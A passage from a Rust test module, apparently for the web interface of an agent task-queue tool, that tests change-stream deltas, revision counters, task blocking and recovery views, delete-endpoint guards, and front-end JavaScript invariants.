21999        std::fs::write(ui.questions.root(), "not a directory").unwrap();
22000        std::fs::create_dir_all(ui.talks.root()).unwrap();
22001        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
22002        let during = monitor_scan(&ui, Some(before.clone()));
22003        assert_eq!(during.0.2, before.0.2);
22004        assert_ne!(during.0.3, before.0.3);
22005        assert!(during.1[2].contains_key("new"));
22006        std::fs::remove_file(ui.questions.root()).unwrap();
22007        let after = monitor_scan(&ui, Some(during));
22008        assert_eq!(after.0.2, 0);
22009        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
22010        // A failed first scan also permits healthy stores to publish.
22011        std::fs::write(ui.questions.root(), "not a directory").unwrap();
22012        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
22013    }
22014
22015    #[tokio::test]
22016    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
22017        let home = TempDir::new().unwrap();
22018        let ui = delta_test_ui(home.path());
22019        let mut task = Task::new(
22020            "stream task".into(),
22021            "text".into(),
22022            PathBuf::from("/repo"),
22023            Source::Human,
22024        );
22025        ui.queue.put(&mut task).unwrap();
22026        let response = events(State(ui.clone())).await.into_response();
22027        let mut stream = response.into_body().into_data_stream();
22028        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
22029            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
22030                .await
22031                .unwrap()
22032                .unwrap()
22033                .unwrap();
22034            let text = String::from_utf8(chunk.to_vec()).unwrap();
22035            let data = text
22036                .lines()
22037                .find_map(|line| {
22038                    line.strip_prefix("data: ")
22039                        .or_else(|| line.strip_prefix("data:"))
22040                })
22041                .unwrap();
22042            serde_json::from_str(data).unwrap()
22043        }
22044        let initial = change(&mut stream).await;
22045        assert!(initial.get("queue_delta").is_none());
22046        task.instruction.push_str(" changed");
22047        ui.queue.put(&mut task).unwrap();
22048        let updated = change(&mut stream).await;
22049        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
22050        assert_eq!(
22051            updated["queue_delta"]["changed"],
22052            serde_json::json!([task.id])
22053        );
22054        assert_eq!(
22055            updated["queue_rev"].as_u64(),
22056            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
22057        );
22058        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
22059        let removed = change(&mut stream).await;
22060        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
22061        assert_eq!(
22062            removed["queue_delta"]["removed"],
22063            serde_json::json!([task.id])
22064        );
22065    }
22066
22067    #[tokio::test]
22068    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
22069        let home = TempDir::new().unwrap();
22070        let ui = delta_test_ui(home.path());
22071        let queue = ui.queue.clone();
22072        let query = |ids: Option<&str>| {
22073            Query(ListQuery {
22074                limit: Some(2),
22075                ids: ids.map(str::to_owned),
22076            })
22077        };
22078        let mut root = Task::new(
22079            "root".into(),
22080            "instruction".into(),
22081            PathBuf::from("/repo"),
22082            Source::Human,
22083        );
22084        queue.put(&mut root).unwrap();
22085        let mut blocked = Task::new(
22086            "blocked".into(),
22087            "instruction".into(),
22088            PathBuf::from("/repo"),
22089            Source::Human,
22090        );
22091        blocked.block(vec![root.id.clone()], None);
22092        queue.put(&mut blocked).unwrap();
22093        let whole =
22094            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
22095                .unwrap();
22096        let subset = serde_json::to_value(
22097            queue_list(State(ui.clone()), query(Some(&root.id)))
22098                .await
22099                .unwrap()
22100                .0,
22101        )
22102        .unwrap();
22103        assert_eq!(whole, subset, "requested root plus its blocked dependent");
22104        let blockers = serde_json::to_value(
22105            queue_list(State(ui.clone()), query(Some("")))
22106                .await
22107                .unwrap()
22108                .0,
22109        )
22110        .unwrap();
22111        assert_eq!(blockers.as_array().unwrap().len(), 1);
22112        assert_eq!(blockers[0]["id"], blocked.id);
22113        assert_eq!(
22114            blockers[0]["waits_on"],
22115            whole
22116                .as_array()
22117                .unwrap()
22118                .iter()
22119                .find(|row| row["id"] == blocked.id)
22120                .unwrap()["waits_on"]
22121        );
22122
22123        for id in [
22124            "20260902-140501-aaaa",
22125            "20260902-140502-bbbb",
22126            "20260902-140503-cccc",
22127        ] {
22128            write_run(&ui.runs, id, RunStatus::Merged);
22129        }
22130        let old = serde_json::to_value(
22131            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
22132                .await
22133                .unwrap()
22134                .0,
22135        )
22136        .unwrap();
22137        assert!(
22138            old.as_array().unwrap().is_empty(),
22139            "older updates must not enter the window"
22140        );
22141        let newest = serde_json::to_value(
22142            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
22143                .await
22144                .unwrap()
22145                .0,
22146        )
22147        .unwrap();
22148        assert_eq!(newest.as_array().unwrap().len(), 1);
22149        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
22150
22151        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
22152        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
22153        let talks = serde_json::to_value(
22154            talks_list(
22155                State(ui.clone()),
22156                query(Some("20260905-000000-d4e5")),
22157                header::HeaderMap::new(),
22158            )
22159            .await
22160            .unwrap()
22161            .0,
22162        )
22163        .unwrap();
22164        assert_eq!(talks.as_array().unwrap().len(), 1);
22165        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
22166        assert_eq!(
22167            serde_json::to_value(
22168                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
22169                    .await
22170                    .unwrap()
22171                    .0
22172            )
22173            .unwrap(),
22174            serde_json::json!([])
22175        );
22176    }
22177
22178    #[tokio::test]
22179    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
22180    async fn delta_payload_benchmark() {
22181        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
22182        let ui = delta_test_ui(&home);
22183        let query = |ids: Option<String>| {
22184            Query(ListQuery {
22185                limit: Some(50),
22186                ids,
22187            })
22188        };
22189        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
22190        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
22191        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
22192            .await
22193            .unwrap()
22194            .0;
22195        let queue_id = queue
22196            .iter()
22197            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
22198            .unwrap_or(&queue[0])
22199            .task
22200            .id
22201            .clone();
22202        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
22203            .await
22204            .unwrap()
22205            .0;
22206        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
22207            .await
22208            .unwrap()
22209            .0;
22210        let talks_delta = talks_list(
22211            State(ui.clone()),
22212            query(Some(talks[0].id.clone())),
22213            header::HeaderMap::new(),
22214        )
22215        .await
22216        .unwrap()
22217        .0;
22218        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
22219        eprintln!(
22220            "DELTA_PAYLOAD {}",
22221            serde_json::json!({
22222                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
22223                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
22224                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
22225                "counts": [queue.len(), runs.len(), talks.len()],
22226                "blocked": queue_delta.len() - 1,
22227            })
22228        );
22229    }
22230
22231    #[test]
22232    fn runs_revision_moves_when_deleting_an_older_run() {
22233        let temp = TempDir::new().expect("tempdir");
22234        let runs = temp.path().join("runs");
22235        std::fs::create_dir_all(&runs).expect("create runs dir");
22236
22237        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
22238
22239        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
22240        std::thread::sleep(Duration::from_millis(10));
22241        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
22242
22243        let rev_before = runs_revision(&runs);
22244        assert!(rev_before > 0);
22245
22246        let old_dir = runs.join("20260901-100000-old1");
22247        std::fs::remove_dir_all(&old_dir).expect("remove old run");
22248
22249        let rev_after = runs_revision(&runs);
22250        assert_ne!(
22251            rev_before, rev_after,
22252            "deleting an older run must change the revision so other clients see the deletion"
22253        );
22254    }
22255
22256    /// A run's own `run.json` on an explicit `runs` root, bypassing the
22257    /// process-global home entirely — `RunState::save` writes through
22258    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
22259    /// (see `tests::home_lock` in the integration suite for why).
22260    fn write_state(runs: &FsPath, state: &RunState) {
22261        let dir = runs.join(&state.id);
22262        std::fs::create_dir_all(&dir).expect("run dir");
22263        std::fs::write(
22264            dir.join("run.json"),
22265            serde_json::to_string_pretty(state).expect("serialize run"),
22266        )
22267        .expect("write run.json");
22268    }
22269
22270    /// A seat starting or finishing is a write to `run.json` like any other,
22271    /// so it moves the same revision the change stream already watches —
22272    /// nothing new for `/api/events` to learn, but the property this feature
22273    /// depends on to reach the phone without a poll.
22274    #[test]
22275    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
22276        let temp = TempDir::new().expect("tempdir");
22277        let runs = temp.path().join("runs");
22278        std::fs::create_dir_all(&runs).expect("create runs dir");
22279        let mut state = RunState::new(
22280            PathBuf::from("/repo/magi"),
22281            "main".to_owned(),
22282            "0123456789abcdef".to_owned(),
22283            "task".to_owned(),
22284            Config::default(),
22285        );
22286        state.id = "20260902-100000-c0de".to_owned();
22287        write_state(&runs, &state);
22288
22289        let rev_idle = runs_revision(&runs);
22290        std::thread::sleep(Duration::from_millis(10));
22291        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
22292        write_state(&runs, &state);
22293        let rev_started = runs_revision(&runs);
22294        assert_ne!(
22295            rev_idle, rev_started,
22296            "a seat starting must move the revision"
22297        );
22298
22299        std::thread::sleep(Duration::from_millis(10));
22300        state.seat_finished("judge-1");
22301        write_state(&runs, &state);
22302        let rev_finished = runs_revision(&runs);
22303        assert_ne!(
22304            rev_started, rev_finished,
22305            "and clearing it again must move the revision a second time"
22306        );
22307    }
22308
22309    #[tokio::test]
22310    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
22311        // `TaskView` flattens `Task`, so this is really asserting that
22312        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
22313        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
22314        // never touched web.rs, so nothing here caught it if it had.
22315        let fx = Fixture::start().await;
22316        let q = fx.queue();
22317
22318        let mut t = Task::new(
22319            "Task".to_owned(),
22320            "Instruction".to_owned(),
22321            PathBuf::from("/repo"),
22322            Source::Human,
22323        );
22324        t.block(
22325            vec!["20260101-000000-dead".to_owned()],
22326            Some("waiting on Task 1".to_owned()),
22327        );
22328        t.answers.push(crate::queue::AnsweredQuestion {
22329            question: "Which backend?".to_owned(),
22330            answer: "SQLite".to_owned(),
22331        });
22332        q.put(&mut t).expect("put t");
22333
22334        let res = fx.get("/api/queue").await;
22335        assert_eq!(res.status, 200);
22336        let list = res.json();
22337        let view = list
22338            .as_array()
22339            .expect("array")
22340            .iter()
22341            .find(|v| v["id"] == t.id)
22342            .expect("task in list");
22343        assert_eq!(view["status_str"], "blocked");
22344        assert_eq!(
22345            view["blocked_by"],
22346            serde_json::json!(["20260101-000000-dead"])
22347        );
22348        assert_eq!(view["block_reason"], "waiting on Task 1");
22349        assert_eq!(view["answers"][0]["question"], "Which backend?");
22350        assert_eq!(view["answers"][0]["answer"], "SQLite");
22351
22352        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
22353        // but never `answers` - that is a settled decision, not state
22354        // describing the current block, so it survives.
22355        let res = fx
22356            .post(&format!("/api/queue/{}/hold", t.short()), None)
22357            .await;
22358        assert_eq!(res.status, 200);
22359        let held = res.json();
22360        assert_eq!(held["status_str"], "held");
22361        assert_eq!(held["blocked_by"], serde_json::json!([]));
22362        assert!(held["block_reason"].is_null());
22363        assert_eq!(held["answers"][0]["answer"], "SQLite");
22364    }
22365
22366    #[tokio::test]
22367    async fn task_recovery_pending_decisions_block_disk_autoresume() {
22368        let fx = Fixture::start().await;
22369        let queue = fx.queue();
22370        let questions = fx.questions();
22371        let mut task = Task::new(
22372            "Disk recovery".into(),
22373            "Inspect".into(),
22374            PathBuf::from("/repo"),
22375            Source::Human,
22376        );
22377        task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
22378        task.mark_disk_capacity();
22379        queue.put(&mut task).unwrap();
22380        let mut records = Vec::new();
22381        for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
22382            let mut q = Question::new(
22383                task.id.clone(),
22384                node.into(),
22385                "triage".into(),
22386                "Resume recovery?".into(),
22387                String::new(),
22388                vec![],
22389            );
22390            q.routed_task = Some(task.id.clone());
22391            questions.put(&mut q).unwrap();
22392            records.push(q);
22393        }
22394        let url = format!("/api/queue/{}", task.id);
22395        let view = fx.get(&url).await.json();
22396        assert_eq!(view["status_str"], "held");
22397        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22398        assert!(
22399            view["recovery"]
22400                .as_str()
22401                .unwrap()
22402                .contains("Disk recovery alone will not resume")
22403        );
22404        assert!(
22405            view["recovery"]
22406                .as_str()
22407                .unwrap()
22408                .contains("Disk wait (automatically monitored)")
22409        );
22410        for blocker in view["blockers"].as_array().unwrap() {
22411            assert!(blocker["destination"].is_null());
22412            assert!(
22413                blocker["next"]
22414                    .as_str()
22415                    .unwrap()
22416                    .contains("pending delivery")
22417            );
22418        }
22419        for q in &mut records {
22420            q.routed_chat = Some("owning-chat".into());
22421            questions.put(q).unwrap();
22422        }
22423        let view = fx.get(&url).await.json();
22424        for blocker in view["blockers"].as_array().unwrap() {
22425            assert_eq!(
22426                blocker["destination"],
22427                serde_json::json!(["chat", "owning-chat"])
22428            );
22429            assert_eq!(blocker["resolves_itself"], false);
22430        }
22431        // Answered routed decisions can still be awaiting task-chat application.
22432        for q in &mut records {
22433            q.status = ask::QuestionStatus::Answered;
22434            questions.put(q).unwrap();
22435        }
22436        assert!(crate::triage::pending_for(&questions, &task));
22437        let view = fx.get(&url).await.json();
22438        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22439        assert!(
22440            view["blockers"][0]["next"]
22441                .as_str()
22442                .unwrap()
22443                .contains("not yet applied")
22444        );
22445        for q in &records {
22446            task.mark_triage_applied(&q.id);
22447        }
22448        queue.put(&mut task).unwrap();
22449        assert!(!crate::triage::pending_for(&questions, &task));
22450        assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
22451        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
22452    }
22453
22454    #[test]
22455    fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
22456        use crate::queue::HoldSource;
22457        let mut task = Task::new(
22458            "Recovery".into(),
22459            "Inspect".into(),
22460            PathBuf::from("/repo"),
22461            Source::Human,
22462        );
22463        assert!(task_recovery(&task).is_none());
22464        task.hold_manual(Some("Operator paused".into()));
22465        assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
22466        task.block(vec!["dependency".into()], Some("Decision needed".into()));
22467        let text = task_recovery(&task).unwrap();
22468        assert!(text.contains("restores held"));
22469        assert!(text.contains("clears its dependency references"));
22470        task.hold_source = Some(HoldSource::Machine);
22471        task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
22472        task.mark_disk_capacity();
22473        let view = TaskView::with_inventory(
22474            task.clone(),
22475            &crate::blockers::Inventory::new(vec![task.clone()], &[]),
22476        );
22477        let json = serde_json::to_value(view).unwrap();
22478        assert_eq!(json["block_reason"], "Decision needed");
22479        assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
22480        let recovery = json["recovery"].as_str().unwrap();
22481        assert!(recovery.contains("not current capacity"));
22482        assert!(recovery.contains("triage rechecks"));
22483        assert_eq!(json["blockers"][0]["state"], "missing");
22484        task.blocked_from = Some(TaskStatus::Queued);
22485        assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
22486        task.blocked_from = None;
22487        assert!(task_recovery(&task).unwrap().contains("restores held"));
22488    }
22489
22490    #[tokio::test]
22491    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
22492        let fx = Fixture::start().await;
22493        let q = fx.queue();
22494        let mk = |title: &str| {
22495            Task::new(
22496                title.to_owned(),
22497                "Instruction".to_owned(),
22498                PathBuf::from("/repo"),
22499                Source::Human,
22500            )
22501        };
22502        let mut root = mk("root");
22503        root.hold_manual(Some("waiting".to_owned()));
22504        q.put(&mut root).unwrap();
22505        let mut mid = mk("mid");
22506        mid.block(vec![root.id.clone()], None);
22507        q.put(&mut mid).unwrap();
22508        let mut leaf = mk("leaf");
22509        leaf.block(vec![mid.id.clone()], None);
22510        q.put(&mut leaf).unwrap();
22511
22512        let list = fx.get("/api/queue").await.json();
22513        let find = |id: &str| {
22514            list.as_array()
22515                .unwrap()
22516                .iter()
22517                .find(|v| v["id"] == id)
22518                .unwrap()
22519                .clone()
22520        };
22521        let leaf_view = find(&leaf.id);
22522        assert_eq!(
22523            leaf_view["waits_on"],
22524            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
22525        );
22526        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
22527        assert_eq!(
22528            find(&mid.id)["waits_on"],
22529            serde_json::json!([format!("{} (held)", root.short())])
22530        );
22531        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
22532    }
22533
22534    #[tokio::test]
22535    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
22536        let fx = Fixture::start().await;
22537        let q = fx.queue();
22538
22539        // 1. A queued task with runs attached can be deleted.
22540        let mut t1 = Task::new(
22541            "Task 1".to_owned(),
22542            "Instruction 1".to_owned(),
22543            PathBuf::from("/repo"),
22544            Source::Human,
22545        );
22546        let run_id = "20260901-000000-r111";
22547        t1.runs.push(run_id.to_owned());
22548        write_run(&fx.runs(), run_id, RunStatus::Merged);
22549        q.put(&mut t1).expect("put t1");
22550
22551        // Delete by short id
22552        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
22553        assert_eq!(res.status, 204);
22554        assert!(res.body.is_empty(), "204 No Content has no body");
22555        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
22556        assert!(
22557            fx.runs().join(run_id).exists(),
22558            "run directory must not be deleted when its task is deleted"
22559        );
22560
22561        // 2. A task a live daemon is running is refused with 409.
22562        let mut t2 = Task::new(
22563            "Task 2".to_owned(),
22564            "Instruction 2".to_owned(),
22565            PathBuf::from("/repo"),
22566            Source::Human,
22567        );
22568        t2.status = TaskStatus::Running;
22569        q.put(&mut t2).expect("put t2");
22570        let mut beat = crate::daemon::Status::new();
22571        beat.current = vec![crate::daemon::Current {
22572            worker: None,
22573            task: t2.id.clone(),
22574            run: "20260901-000000-r222".to_owned(),
22575        }];
22576        beat.updated_at = jiff::Timestamp::now();
22577        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22578            .expect("publish a heartbeat");
22579        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
22580        assert_eq!(res.status, 409);
22581        assert!(
22582            res.json()["error"]
22583                .as_str()
22584                .unwrap()
22585                .contains("live daemon")
22586        );
22587        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
22588
22589        // 3. The same `running` status and an orphaned lock, with no daemon
22590        // behind either, is a leftover and deletable. Before this the phone
22591        // refused it for good: the status never changes on its own and
22592        // nothing drops a lock whose process is gone.
22593        // The daemon is killed: the file stays, the heartbeat stops.
22594        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
22595        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22596            .expect("leave a stale heartbeat");
22597        let mut t3 = Task::new(
22598            "Task 3".to_owned(),
22599            "Instruction 3".to_owned(),
22600            PathBuf::from("/repo"),
22601            Source::Human,
22602        );
22603        t3.status = TaskStatus::Running;
22604        q.put(&mut t3).expect("put t3");
22605        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
22606        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
22607        assert_eq!(res.status, 204);
22608        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
22609        assert!(
22610            q.claim(&t3.id).is_ok(),
22611            "the stale lock went with it, so the id is claimable again"
22612        );
22613
22614        // 4. Missing id returns 404
22615        let res = fx.delete("/api/queue/nonexistent").await;
22616        assert_eq!(res.status, 404);
22617    }
22618
22619    #[tokio::test]
22620    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
22621        let fx = Fixture::start().await;
22622        let runs = fx.runs();
22623
22624        // 1. Finished and folded run can be deleted along with artifacts
22625        let run_id = "20260901-000000-fold";
22626        let mut state = RunState::new(
22627            PathBuf::from("/repo"),
22628            "main".to_owned(),
22629            "abc".to_owned(),
22630            "instruction".to_owned(),
22631            Config::default(),
22632        );
22633        state.id = run_id.to_owned();
22634        state.status = RunStatus::Merged;
22635        state.candidates.push(crate::run::Candidate {
22636            index: 0,
22637            label: 'A',
22638            agent: "a".to_owned(),
22639            branch: "b".to_owned(),
22640            worktree: PathBuf::from("/w"),
22641            summary: String::new(),
22642            stat: String::new(),
22643            files: 1,
22644            commits: 1,
22645            empty: false,
22646            failed: None,
22647            verified_noop: None,
22648            duration_ms: 0,
22649            folded: true,
22650        });
22651        let dir = runs.join(run_id);
22652        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
22653        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
22654            .expect("write artifact");
22655        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
22656            .expect("write run.json");
22657
22658        // Delete by short id
22659        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
22660        assert_eq!(res.status, 204);
22661        assert!(res.body.is_empty(), "204 has no body");
22662        assert!(!dir.exists(), "run directory and artifacts must be deleted");
22663
22664        // 2. A run a live daemon is working on is refused with 409. The
22665        // heartbeat is what makes it refusable: an unfinished run with no
22666        // daemon behind it is a leftover from a killed process, and case 1
22667        // above would otherwise be impossible to tell apart from this one.
22668        let run_running = "20260901-000000-rung";
22669        write_run(&runs, run_running, RunStatus::Prep);
22670        let mut beat = crate::daemon::Status::new();
22671        beat.current = vec![crate::daemon::Current {
22672            worker: None,
22673            task: "20260901-000000-task".to_owned(),
22674            run: run_running.to_owned(),
22675        }];
22676        beat.updated_at = jiff::Timestamp::now();
22677        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22678            .expect("publish a heartbeat");
22679        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
22680        assert_eq!(res.status, 409);
22681        assert!(
22682            res.json()["error"]
22683                .as_str()
22684                .unwrap()
22685                .contains("live daemon"),
22686            "the refusal must say who is holding it"
22687        );
22688        assert!(
22689            runs.join(run_running).exists(),
22690            "a run in flight keeps its directory"
22691        );
22692
22693        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
22694        let run_unfolded = "20260901-000000-unfd";
22695        let mut state2 = RunState::new(
22696            PathBuf::from("/repo"),
22697            "main".to_owned(),
22698            "abc".to_owned(),
22699            "instruction".to_owned(),
22700            Config::default(),
22701        );
22702        state2.id = run_unfolded.to_owned();
22703        state2.status = RunStatus::Ready;
22704        state2.candidates.push(crate::run::Candidate {
22705            index: 0,
22706            label: 'A',
22707            agent: "a".to_owned(),
22708            branch: "b".to_owned(),
22709            worktree: PathBuf::from("/w"),
22710            summary: String::new(),
22711            stat: String::new(),
22712            files: 1,
22713            commits: 1,
22714            empty: false,
22715            failed: None,
22716            verified_noop: None,
22717            duration_ms: 0,
22718            folded: false,
22719        });
22720        let dir2 = runs.join(run_unfolded);
22721        std::fs::create_dir_all(&dir2).expect("create dir2");
22722        std::fs::write(
22723            dir2.join("run.json"),
22724            serde_json::to_string(&state2).unwrap(),
22725        )
22726        .expect("write run.json");
22727
22728        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
22729        assert_eq!(res.status, 409);
22730        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
22731        assert!(dir2.exists(), "unfolded run directory is kept");
22732
22733        // 4. Missing id returns 404
22734        let res = fx.delete("/api/runs/nonexistent").await;
22735        assert_eq!(res.status, 404);
22736    }
22737
22738    /// The queue tiles on the Stats tab must render even on a home with no
22739    /// runs at all: queue state is not derived from run history, so hiding
22740    /// the whole dashboard body behind "no runs yet" would drop the one
22741    /// thing this tab promises unconditionally (queued/running/held/done).
22742    /// A DOM-level test would need a browser this suite does not have, so
22743    /// this pins the same invariant textually: `renderStatsQueue` is called
22744    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
22745    /// block that gates the run-derived panels.
22746    #[test]
22747    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
22748        let start = APP_JS
22749            .find("function renderStats() {")
22750            .expect("renderStats");
22751        let end = start
22752            + APP_JS[start..]
22753                .find("function statsTile(")
22754                .expect("the next top-level function");
22755        let body = &APP_JS[start..end];
22756
22757        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
22758        let gate_end = gate_start
22759            + body[gate_start..]
22760                .find("}\n  renderStatsQueue")
22761                .expect("the gate's own closing brace, right before the unconditional call");
22762        let gated = &body[gate_start..gate_end];
22763
22764        assert_eq!(
22765            body.matches("renderStatsQueue(").count(),
22766            1,
22767            "renderStats must call renderStatsQueue exactly once: {body}"
22768        );
22769        assert!(
22770            !gated.contains("renderStatsQueue"),
22771            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
22772             run-derived panels on an empty run history - the queue panel has to render \
22773             regardless: {gated}"
22774        );
22775    }
22776
22777    #[test]
22778    fn web_ui_delete_contract_in_front_end() {
22779        // 1. API block has both delete endpoints
22780        assert!(APP_JS.contains("deleteRun:"));
22781        assert!(APP_JS.contains("deleteTask:"));
22782
22783        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
22784        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
22785            ..APP_JS.find("function renderRuns").unwrap()];
22786        assert!(!run_cards_slice.to_lowercase().contains("delete"));
22787
22788        // 3. Run detail has delete entry and reasons
22789        assert!(APP_JS.contains("renderRunDelete"));
22790        assert!(APP_JS.contains("runDeleteReason"));
22791        assert!(APP_JS.contains("magi fold"));
22792        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
22793
22794        // 4. Two-step delete arming and focus on Cancel
22795        assert!(APP_JS.contains("cancel.focus"));
22796        assert!(APP_JS.contains("armedRunDelete"));
22797        assert!(APP_JS.contains("renderTaskDeleteBox"));
22798        assert!(APP_JS.contains("armed${cap(key)}"));
22799
22800        // 5. Running task has disabled delete
22801        assert!(APP_JS.contains("disabled: status === \"running\""));
22802    }
22803
22804    /// Every element a run card's updater reaches for must be in the `refs`
22805    /// the builder handed it.
22806    ///
22807    /// `createRunCard` builds its elements, appends them to the card, and then
22808    /// lists them again in `row.refs`. That second list is the one the updater
22809    /// uses, and nothing connects the two - an element can be built, appended
22810    /// and rendered, and still be missing from `refs`. `superseded` was, for
22811    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
22812    /// exception took `syncList` with it, and the deck showed
22813    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
22814    /// line is computed before the cards, which is why the failure looked like
22815    /// a server that had lost its runs rather than a front end that had
22816    /// stopped rendering them.
22817    ///
22818    /// A `cargo test` cannot execute the front end, so this reads the two
22819    /// halves out of the source and compares them as sets. It is not a check
22820    /// on the wording of either list: adding an element, renaming one, or
22821    /// reordering them all keeps this passing, and only using one the builder
22822    /// never published fails it.
22823    #[test]
22824    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
22825        let build = APP_JS
22826            .find("function createRunCard")
22827            .expect("createRunCard exists");
22828        let update = APP_JS
22829            .find("function updateRunCard")
22830            .expect("updateRunCard exists");
22831        let end = APP_JS
22832            .find("function renderRuns")
22833            .expect("renderRuns exists");
22834
22835        // The builder's published set: the object literal assigned to `refs`.
22836        let builder = &APP_JS[build..update];
22837        let open = builder.find("refs = {").expect("createRunCard sets refs");
22838        let literal = &builder[open + "refs = {".len()..];
22839        let close = literal.find('}').expect("the refs literal is closed");
22840        let published: HashSet<&str> = literal[..close]
22841            .split(',')
22842            // `name` and `name: value` both bind `name`.
22843            .filter_map(|entry| entry.split(':').next())
22844            .map(str::trim)
22845            .filter(|name| !name.is_empty())
22846            .collect();
22847        assert!(
22848            published.len() > 5,
22849            "the refs literal did not parse into names: {published:?}"
22850        );
22851
22852        // What the updaters reach for: every `r.<name>`, where `r` is the
22853        // `const r = row.refs` alias both functions open with.
22854        let mut used: Vec<&str> = Vec::new();
22855        let updaters = &APP_JS[update..end];
22856        for (at, _) in updaters.match_indices("r.") {
22857            // `r` must be the whole identifier, not the tail of another one
22858            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
22859            let before = updaters[..at].chars().next_back();
22860            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
22861                continue;
22862            }
22863            let rest = &updaters[at + 2..];
22864            let len = rest
22865                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
22866                .unwrap_or(rest.len());
22867            if len > 0 {
22868                used.push(&rest[..len]);
22869            }
22870        }
22871        assert!(
22872            used.len() > 5,
22873            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
22874        );
22875
22876        let missing: Vec<&str> = used
22877            .iter()
22878            .copied()
22879            .filter(|name| !published.contains(name))
22880            .collect();
22881        assert!(
22882            missing.is_empty(),
